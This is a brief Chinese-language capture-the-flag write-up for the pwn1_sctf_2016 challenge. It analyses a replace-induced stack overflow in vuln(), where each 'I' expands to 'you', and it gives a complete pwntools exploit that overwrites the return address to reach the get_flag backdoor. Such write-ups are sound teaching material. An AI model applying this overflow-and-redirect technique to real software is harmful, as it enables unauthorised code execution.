pwn1_sctf_2016
使用checksec
查看:
只开启了栈不可执行。
放进IDA中分析:
- 直接给了
vuln()
函数,跟进查看。
vuln()
:
fgets(&s, 32, edata);
:用户可输入32个字符replace(&v4, &input, &v7);
:将字符串I
替换成字符串you
strcpy(&s, v1);
:最后字符串赋给变量s
通过查找字符串还能找到get_flag()
后门函数:
步骤解析
s
距离ebp
0x3C
,不能造成栈溢出,但当I
转成you
时就够了。直接跳转到后门函数即可。
完整exp
from pwn import *
#start
# r = remote("node4.buuoj.cn",25038)
r = process("../buu/pwn1_sctf_2016")
elf = ELF("../buu/pwn1_sctf_2016")
#params
backdoor = elf.symbols['get_flag']
#atack
payload = b'I'*20 + b'M'*4 + p32(0x8048F0D)
r.sendline(payload)
r.interactive()